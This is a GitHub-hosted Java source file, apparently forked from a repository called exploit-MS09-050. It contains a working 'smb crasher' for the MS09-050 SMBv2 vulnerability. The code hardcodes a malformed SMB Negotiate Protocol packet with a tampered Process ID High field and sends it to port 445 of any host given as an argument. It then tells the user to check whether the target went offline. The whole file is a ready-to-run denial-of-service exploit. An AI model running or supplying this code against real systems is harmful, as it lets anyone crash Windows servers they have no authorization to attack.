forked from opsxcq/exploit-MS09-050
-
Notifications
You must be signed in to change notification settings - Fork 0
/
MS09050.java
95 lines (85 loc) · 3.03 KB
/
MS09050.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
import java.io.IOException;
import java.io.OutputStream;
import java.net.Socket;
public class MS09050{
private static byte[] buff = new byte[] {
(byte) 0x00,
(byte) 0x00,
(byte) 0x00,
(byte) 0x90 // Begin SMB header: Session message
,
(byte) 0xff,
(byte) 0x53,
(byte) 0x4d,
(byte) 0x42 // Server Component: SMB
,
(byte) 0x72,
(byte) 0x00,
(byte) 0x00,
(byte) 0x00 // Negociate Protocol
,
(byte) 0x00,
(byte) 0x18,
(byte) 0x53,
(byte) 0xc8 // Operation 0x18 & sub 0xc853
,
(byte) 0x00,
(byte) 0x26 // Process ID High: --> :) normal value should be ,(byte) 0x00, (byte) 0x00
,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0xff, (byte) 0xff,
(byte) 0xff, (byte) 0xfe, (byte) 0x00, (byte) 0x00,
(byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x6d,
(byte) 0x00, (byte) 0x02, (byte) 0x50, (byte) 0x43,
(byte) 0x20, (byte) 0x4e, (byte) 0x45, (byte) 0x54,
(byte) 0x57, (byte) 0x4f, (byte) 0x52, (byte) 0x4b,
(byte) 0x20, (byte) 0x50, (byte) 0x52, (byte) 0x4f,
(byte) 0x47, (byte) 0x52, (byte) 0x41, (byte) 0x4d,
(byte) 0x20, (byte) 0x31, (byte) 0x2e, (byte) 0x30,
(byte) 0x00, (byte) 0x02, (byte) 0x4c, (byte) 0x41,
(byte) 0x4e, (byte) 0x4d, (byte) 0x41, (byte) 0x4e,
(byte) 0x31, (byte) 0x2e, (byte) 0x30, (byte) 0x00,
(byte) 0x02, (byte) 0x57, (byte) 0x69, (byte) 0x6e,
(byte) 0x64, (byte) 0x6f, (byte) 0x77, (byte) 0x73,
(byte) 0x20, (byte) 0x66, (byte) 0x6f, (byte) 0x72,
(byte) 0x20, (byte) 0x57, (byte) 0x6f, (byte) 0x72,
(byte) 0x6b, (byte) 0x67, (byte) 0x72, (byte) 0x6f,
(byte) 0x75, (byte) 0x70, (byte) 0x73, (byte) 0x20,
(byte) 0x33, (byte) 0x2e, (byte) 0x31, (byte) 0x61,
(byte) 0x00, (byte) 0x02, (byte) 0x4c, (byte) 0x4d,
(byte) 0x31, (byte) 0x2e, (byte) 0x32, (byte) 0x58,
(byte) 0x30, (byte) 0x30, (byte) 0x32, (byte) 0x00,
(byte) 0x02, (byte) 0x4c, (byte) 0x41, (byte) 0x4e,
(byte) 0x4d, (byte) 0x41, (byte) 0x4e, (byte) 0x32,
(byte) 0x2e, (byte) 0x31, (byte) 0x00, (byte) 0x02,
(byte) 0x4e, (byte) 0x54, (byte) 0x20, (byte) 0x4c,
(byte) 0x4d, (byte) 0x20, (byte) 0x30, (byte) 0x2e,
(byte) 0x31, (byte) 0x32, (byte) 0x00, (byte) 0x02,
(byte) 0x53, (byte) 0x4d, (byte) 0x42, (byte) 0x20,
(byte) 0x32, (byte) 0x2e, (byte) 0x30, (byte) 0x30,
(byte) 0x32, (byte) 0x00 };
public static void main(String[] args){
System.out.println(" Opsxcq MS09-050 smb crasher");
if( args.length != 1 ){
System.out.println("[*] Usage : exploit <host>");
return;
}
System.out.println("[+] Connecting to "+args[0]);
exploit(args[0]);
}
private final static void exploit(String host){
Socket s;
try {
s = new Socket(host,445);
System.out.println("[+] Sucefull connected");
OutputStream out = s.getOutputStream();
out.write(buff);
out.flush();
System.out.println("[+] Well done ! Now check if the target is online");
s.close();
} catch (IOException e) {
System.out.println("[-] Problems in connection : "+e.getMessage());
}
}
}